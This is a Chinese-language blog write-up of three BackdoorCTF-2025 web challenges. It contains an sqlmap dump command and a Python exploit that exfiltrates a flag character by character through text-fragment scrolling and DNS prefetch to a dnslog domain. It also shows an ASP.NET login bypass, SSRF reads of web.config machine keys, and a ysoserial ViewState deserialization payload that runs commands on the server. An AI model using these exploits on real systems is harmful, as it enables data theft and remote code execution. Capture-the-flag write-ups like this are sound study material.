mobile wallpaper 1mobile wallpaper 2mobile wallpaper 3mobile wallpaper 4mobile wallpaper 5mobile wallpaper 6
510 字
1 分钟
BackdoorCTF-2025
2025-12-08

[Web] No Sight Required#

sql盲注,输入114514' or 1=1 -- 提示存在,确认为注入点

sqlmap -u "http://104.198.24.52:6013/search?id=4" --random-agent --dbms=sqlite -T secret_flags --dump --threads=5

sqlmap

[Web] Go Touch Grass#

这题考查STTF(Scroll To Text Fragment),配合DNS外带。STTF介绍

简单来说,当url最后携带#:~:text=时,浏览器会自动滚动到含有对应文字的锚点,博客的目录常使用这个特性。同时,本题还涉及lazyload的DNS预解析问题。只有当显示到的时候,会触发dns预解析,将数据外带出去。结合代码来看,bot会开启一个顶部写有flag的浏览器,同时接受base64解码后的note显示在后面。

我们写有两个锚定文本,这时候对第一个SSTF锚点进行按位爆破,第二个写固定的文本(这个会附加到note尾部,如果flag没有匹配到,就会滚动到末尾)。note填充了大量的换行符。如果flag部分正确,页面就会锚定在顶部,不会滚动到最下面的lazyload部分,也就没有dnslog。但如果不正确,就会滚动到第二个锚点,也就是底部,从而触发lazyload的DNS预解析。

prefix_part = urllib.parse.quote(known_flag + char_to_test)
sttf_hash = f"#:~:text={prefix_part}&text={footer_text}"

看这个就很清楚了,原理上很像SQL盲注。上ai写的exp。DNSLog.cn每隔一段时间会自动清空记录,而且网络实际上也不是很稳定,所以至少二次确认才能保证猜测正确。

import requests
import urllib.parse
import time
import sys
import base64
import random
# ================= 配置区域 =================
# 1. 题目地址
BASE_URL = "http://34.10.220.48:6005"
BOT_URL = f"{BASE_URL}/bot"
# 2. DNSLog 配置
YOUR_DNS_DOMAIN = "test.bwuzoi.dnslog.cn"
# PHPSESSID
DNSLOG_COOKIE = {"PHPSESSID": "j559joadg0rbbf8jo6hqchtrt3"}
# 3. 爆破配置
known_flag = "flag" # 注意没有花括号
charset = "0123456789abcdefghijklmnopqrstuvwxyz"
# 重试配置
MAX_RETRIES = 2
# ===========================================
def get_dns_records():
"""从 dnslog.cn 获取当前所有记录"""
try:
url = f"http://dnslog.cn/getrecords.php?t={random.random()}"
r = requests.get(url, cookies=DNSLOG_COOKIE, timeout=10)
return r.json()
except Exception as e:
print(f"\n[!] 获取 DNSLog 失败: {e}")
return []
def generate_payload(char_to_test, unique_id):
"""生成攻击 Payload"""
char_hex = char_to_test.encode().hex()
# 构造唯一子域名
inner_dns_url = f"//{char_hex}-{unique_id}.{YOUR_DNS_DOMAIN}"
# 内部 Link (DNS 触发器)
link_html = f'<link rel="dns-prefetch" href="{inner_dns_url}">'
link_html_enc = urllib.parse.quote(link_html)
# 外部 HTML (撑开高度)
padding = "<pre>" + "\n"*3000 + "</pre>"
footer_text = "MY_FOOTER"
# 懒加载 iframe
iframe = f'<iframe loading="lazy" src="/?note={link_html_enc}" width="10" height="10"></iframe>'
raw_html = f"{padding}<div id='footer'>{footer_text}</div>{iframe}"
# URL 编码防止换行符截断
safe_html_for_url = urllib.parse.quote(raw_html)
# STTF 锚点
# sttf_hash = f"#:~:text={known_flag}{char_to_test}&text={footer_text}"
prefix_part = urllib.parse.quote(known_flag + char_to_test)
sttf_hash = f"#:~:text={prefix_part}&text={footer_text}"
final_data = safe_html_for_url + sttf_hash
b64_payload = base64.b64encode(final_data.encode()).decode()
return b64_payload, f"{char_hex}-{unique_id}"
def test_character_once(char, attempt_label=""):
"""
执行一次单次测试
返回: True (收到DNS,说明猜错), False (没收到DNS,可能是Flag)
"""
unique_id = str(int(time.time()))[-5:] + str(random.randint(10,99))
payload, target_id = generate_payload(char, unique_id)
print(f"[*] 测试 '{char}' {attempt_label} (ID: {target_id})... ", end="")
sys.stdout.flush()
try:
# 1. 发送
requests.get(BOT_URL, params={"note": payload}, timeout=5)
# 2. 等待 (11秒 Rate Limit)
for i in range(11, 0, -1):
# 简单的倒计时动画,不换行
print(f"等待 {i}s... ", end="\r")
time.sleep(1)
# 3. 检查
records = get_dns_records()
received = False
for rec in records:
if target_id in rec[0]:
received = True
break
if received:
print(f"❌ 收到 DNS (排除) ")
return True # 收到=错误
else:
print(f"⚠️ 未收到 DNS (疑似正确) ")
return False # 没收到=疑似正确
except Exception as e:
print(f"Error: {e}")
# 如果报错,为了安全起见,假设它没收到(让外层去重试)
return False
def attack():
global known_flag
print(f"[+] 目标: {known_flag}...")
while True:
print(f"\n[--- 正在爆破下一位,当前: {known_flag} ---]")
found_char = False
for char in charset:
# === 第一轮测试 ===
is_wrong = test_character_once(char)
if is_wrong:
# 确定猜错了,直接下一个
continue
is_confirmed_flag = True
for i in range(MAX_RETRIES):
print(f" [!] 正在进行第 {i+1}/{MAX_RETRIES} 次复核验证...")
# 再次测试
is_wrong_again = test_character_once(char, f"[复核{i+1}]")
if is_wrong_again:
print(f" [X] 验证失败:复核时收到了 DNS,排除 '{char}'。")
is_confirmed_flag = False
break # 跳出复核循环,继续测下一个字符
if is_confirmed_flag:
# 通过了所有复核,都没收到 DNS
print(f"\n✅ 确认字符: {char}")
known_flag += char
found_char = True
break # 跳出字符循环,开始爆破下一位
if not found_char:
print("[!] 本轮所有字符都收到了 DNS,或者验证全部失败。")
break
if known_flag.endswith("}"):
print(f"\nFlag: {known_flag}")
break
if __name__ == "__main__":
attack()

收到了flag5n34kydn5f3tch,看源码去除了花括号,补上后即为正确flag: flag{5n34kydn5f3tch}

这里放一下原题: main.py

from flask import Flask, request, make_response, render_template_string
import os, base64, sys, threading, time, jsonify, nh3
from selenium import webdriver
from selenium.webdriver.chrome.options import Options
from flask_limiter import Limiter
from flask_limiter.util import get_remote_address
app = Flask(__name__)
PORT = 6005
flag = open('flag.txt').read().strip()
# flag charset is string.ascii_lowercase + string.digits
ALLOWED_TAGS = {
'a', 'b', 'blockquote', 'br', 'code', 'div', 'em',
'h1', 'h2', 'h3', 'i', 'iframe', 'img', 'li', 'link',
'ol', 'p', 'pre', 'span', 'strong', 'ul'
}
ALLOWED_ATTRIBUTES = {
'a': {'href', 'target'},
'link': {'rel', 'href', 'type', 'as'},
'*': {
'style','src', 'width', 'height', 'alt', 'title',
'lang', 'dir', 'loading', 'role', 'aria-label'
}
}
APP_LIMIT_TIME = 60
APP_LIMIT_COUNT = 5
limiter = Limiter(
get_remote_address,
app=app,
storage_uri="memory://"
)
@app.errorhandler(429)
def ratelimit_handler(e):
return jsonify({
"error": f"Too many requests, please try again later. Limit is {APP_LIMIT_COUNT} requests per {APP_LIMIT_TIME} seconds."
}), 429
template = """<!DOCTYPE html>
<html>
<head>
</head>
<body>
<div class="head"></div>
{% if flag %}
<div class="flag"><h1>{{ flag }}</h1></div>
{% endif %}
{% if note %}
<div class="note">{{ note | safe}}</div>
{% endif %}
<script nonce="{{ nonce }}">
Array.from(document.getElementsByClassName('flag')).forEach(function(element) {
let text = element.innerText;
element.innerHTML = '';
for (let i = 0; i < text.length; i++) {
let charElem = document.createElement('span');
charElem.innerText = text[i];
element.appendChild(charElem);
}
});
</script>
</body>
</html>
"""
@app.route('/', methods=['GET'])
def index():
_flag = request.cookies.get('flag', None)
nonce = base64.b64encode(os.urandom(32)).decode('utf-8')
_note = request.args.get('note', 'Try putting your note with /?note=..')
clean_note = nh3.clean(
_note,
tags=ALLOWED_TAGS,
attributes=ALLOWED_ATTRIBUTES,
)
rendered = render_template_string(
template,
nonce=nonce,
flag=_flag,
note=clean_note,
)
response = make_response(rendered)
response.headers['Content-Security-Policy'] = (
f"default-src 'none'; script-src 'nonce-{nonce}'; style-src 'none'; "
"base-uri 'none'; frame-ancestors 'self'; frame-src 'self'; object-src 'none'; "
)
response.headers['Referrer-Policy'] = 'no-referrer'
response.headers['X-Frame-Options'] = 'SAMEORIGIN'
response.headers['X-Content-Type-Options'] = 'nosniff'
return response
def admin_visit(raw_data_b64: str):
try:
try:
data = base64.b64decode(raw_data_b64.encode('utf-8')).decode('utf-8')
except Exception as e:
print(f"[BOT] base64 decode error: {e}", file=sys.stderr)
return
url = f"http://127.0.0.1:6005/?note={data}"
print(f"[BOT] Visiting {url}", file=sys.stderr)
options = Options()
options.add_argument("--headless")
options.add_argument("--no-sandbox")
options.add_argument("--disable-dev-shm-usage")
options.add_argument("--disable-gpu")
driver = webdriver.Chrome(options=options)
try:
driver.get("http://127.0.0.1:6005/")
driver.add_cookie({
'name': 'flag',
'value': flag.replace("{", "").replace("}", ""),
'path': '/',
'httpOnly': True,
'sameSite': 'Strict'
})
print(f"[BOT] Now visiting target URL {url}", file=sys.stderr)
driver.set_page_load_timeout(5)
try:
driver.get(url)
except Exception as e:
print(f"[BOT] error during driver.get: {e}", file=sys.stderr)
time.sleep(5)
finally:
driver.quit()
print(f"[BOT] Done visiting URL {url}", file=sys.stderr)
except Exception as e:
print(f"[BOT] Unexpected bot error: {e}", file=sys.stderr)
@app.route('/bot', methods=['GET'])
@limiter.limit(f"{APP_LIMIT_COUNT} per {APP_LIMIT_TIME} second")
def bot():
raw_data = request.args.get('note')
if not raw_data:
return make_response("Missing ?note parameter\n", 400)
t = threading.Thread(target=admin_visit, args=(raw_data,))
t.daemon = True
t.start()
return make_response("Admin will visit this URL soon.\n", 202)
if __name__ == '__main__':
app.run(port=PORT, debug=False, host='0.0.0.0')

[Web] .net painwork#

访问http://4.188.81.42/%2f/admin.aspx可以绕过登陆,并且拿到凭据用于SSRF。

考虑__VIEWSTATE的反序列化,先要读取web.config,输入file:///c:/inetpub/wwwroot/web.config点击查询,获得validation validationKey

{
"ok": true,
"statusCode": 200,
"headers": [
{
"name": "Content-Length",
"value": "1833"
},
{
"name": "Content-Type",
"value": "application/octet-stream"
}
],
"snippet": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\r\n<configuration>\r\n <appSettings></appSettings>\r\n <system.web>\r\n <compilation targetFramework=\"4.8\" />\r\n <authentication mode=\"Forms\">\r\n <forms loginUrl=\"~/login.aspx\" timeout=\"30\" />\r\n </authentication>\r\n <machineKey validation=\"SHA1\" decryption=\"AES\" validationKey=\"AC4DCFDDF3BB46EC1506BD671BEE55D5666B7B0B\" decryptionKey=\"AB4298433692C6911B75665DEFA47AD09EA856BE41879334\" />\r\n <httpRuntime targetFramework=\"4.5\" />\r\n </system.web>\r\n <system.webServer>\r\n <modules runAllManagedModulesForAllRequests=\"true\" />\r\n <handlers>\r\n <add name=\"HealthHandler\" path=\"health.ashx\" verb=\"*\" type=\"Health.Handlers.HealthHandler\" resourceType=\"Unspecified\" />\r\n </handlers>\r\n </system.webServer>\r\n <runtime>\r\n <assemblyBinding xmlns=\"urn:schemas-microsoft-com:asm.v1\">\r\n <dependentAssembly>\r\n <assemblyIdentity name=\"WebGrease\" publicKeyToken=\"31bf3856ad364e35\" culture=\"neutral\" />\r\n <bindingRedirect oldVersion=\"0.0.0.0-1.6.5135.21930\" newVersion=\"1.6.5135.21930\" />\r\n </dependentAssembly>\r\n <dependentAssembly>\r\n <assemblyIdentity name=\"Antlr3.Runtime\" publicKeyToken=\"eb42632606e9261f\" culture=\"neutral\" />\r\n <bindingRedirect oldVersion=\"0.0.0.0-3.5.0.2\" newVersion=\"3.5.0.2\" />\r\n </dependentAssembly>\r\n <dependentAssembly>\r\n <assemblyIdentity name=\"Newtonsoft.Json\" publicKeyToken=\"30ad4fe6b2a6aeed\" culture=\"neutral\" />\r\n <bindingRedirect oldVersion=\"0.0.0.0-13.0.0.0\" newVersion=\"13.0.0.0\" />\r\n </dependentAssembly>\r\n </assemblyBinding>\r\n </runtime>\r\n <location path=\"health.ashx\">\r\n <system.web>\r\n <authorization>\r\n <allow users=\"*\" /> </authorization>\r\n </system.web>\r\n </location>\r\n</configuration>\r\n<!--ProjectGuid: 8371CAB5-57D6-4087-BC6A-7E3514CE52C2-->",
"error": null
}

访问/login.aspx,获得generator,这里是C2EE9ABB

用ysoserial.net构造反序列化。这里最好用C:\Windows\Temp\,不然没有权限写。

ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "cmd /c whoami > C:\Windows\Temp\test.txt" --generator="C2EE9ABB" --validationKey="AC4DCFDDF3BB46EC1506BD671BEE55D5666B7B0B" --alg="SHA1"

回到/login.aspx,篡改__VIEWSTATE

LoginBtn=Login
&PasswordBox=admin
&__EVENTVALIDATION=GjcT45wL8O4LBYanAbQwP0hxOJT3HhIJy0gE36JI0o%2BS6QqLm0TDglBjAZzQlFM1zusz8ZR%2BbyLqmqbz7B9qrnEauB1RfhYer%2FB4zRofB%2BBL6Y4MvHfDnE1ubACd1nQhrFyYYg%3D%3D
&__VIEWSTATE=%2FwEyuAcAAQAAAP%2F%2F%2F%2F8BAAAAAAAAAAwCAAAAXk1pY3Jvc29mdC5Qb3dlclNoZWxsLkVkaXRvciwgVmVyc2lvbj0zLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPTMxYmYzODU2YWQzNjRlMzUFAQAAAEJNaWNyb3NvZnQuVmlzdWFsU3R1ZGlvLlRleHQuRm9ybWF0dGluZy5UZXh0Rm9ybWF0dGluZ1J1blByb3BlcnRpZXMBAAAAD0ZvcmVncm91bmRCcnVzaAECAAAABgMAAADaBTw%2FeG1sIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9InV0Zi0xNiI%2FPg0KPE9iamVjdERhdGFQcm92aWRlciBNZXRob2ROYW1lPSJTdGFydCIgSXNJbml0aWFsTG9hZEVuYWJsZWQ9IkZhbHNlIiB4bWxucz0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwvcHJlc2VudGF0aW9uIiB4bWxuczpzZD0iY2xyLW5hbWVzcGFjZTpTeXN0ZW0uRGlhZ25vc3RpY3M7YXNzZW1ibHk9U3lzdGVtIiB4bWxuczp4PSJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL3dpbmZ4LzIwMDYveGFtbCI%2BDQogIDxPYmplY3REYXRhUHJvdmlkZXIuT2JqZWN0SW5zdGFuY2U%2BDQogICAgPHNkOlByb2Nlc3M%2BDQogICAgICA8c2Q6UHJvY2Vzcy5TdGFydEluZm8%2BDQogICAgICAgIDxzZDpQcm9jZXNzU3RhcnRJbmZvIEFyZ3VtZW50cz0iL2MgY21kIC9jIHdob2FtaSAmZ3Q7IEM6XFdpbmRvd3NcVGVtcFx0ZXN0LnR4dCIgU3RhbmRhcmRFcnJvckVuY29kaW5nPSJ7eDpOdWxsfSIgU3RhbmRhcmRPdXRwdXRFbmNvZGluZz0ie3g6TnVsbH0iIFVzZXJOYW1lPSIiIFBhc3N3b3JkPSJ7eDpOdWxsfSIgRG9tYWluPSIiIExvYWRVc2VyUHJvZmlsZT0iRmFsc2UiIEZpbGVOYW1lPSJjbWQiIC8%2BDQogICAgICA8L3NkOlByb2Nlc3MuU3RhcnRJbmZvPg0KICAgIDwvc2Q6UHJvY2Vzcz4NCiAgPC9PYmplY3REYXRhUHJvdmlkZXIuT2JqZWN0SW5zdGFuY2U%2BDQo8L09iamVjdERhdGFQcm92aWRlcj4LJo2dYwVgcDzbUc55S%2ByU37T59c9YtlC3yi24zgTOZLQ%3D
&__VIEWSTATEGENERATOR=C2EE9ABB

提示Server Error in '/' Application.,再次SSRF读取file:///C:/Windows/Temp/test.txt

{
"ok": true,
"statusCode": 200,
"headers": [
{
"name": "Content-Length",
"value": "50"
},
{
"name": "Content-Type",
"value": "application/octet-stream"
}
],
"snippet": "flag{tlqp8s5h_eurzla5g_feepuqi9_qsgmjxj5_mcmd2kt8}",
"error": null
}
分享

如果这篇文章对你有帮助,欢迎分享给更多人!

BackdoorCTF-2025
https://blog.chaomixian.top/posts/backdoorctf-2025/
作者
炒米线
发布于
2025-12-08
许可协议
CC BY-NC-SA 4.0

部分信息可能已经过时

目录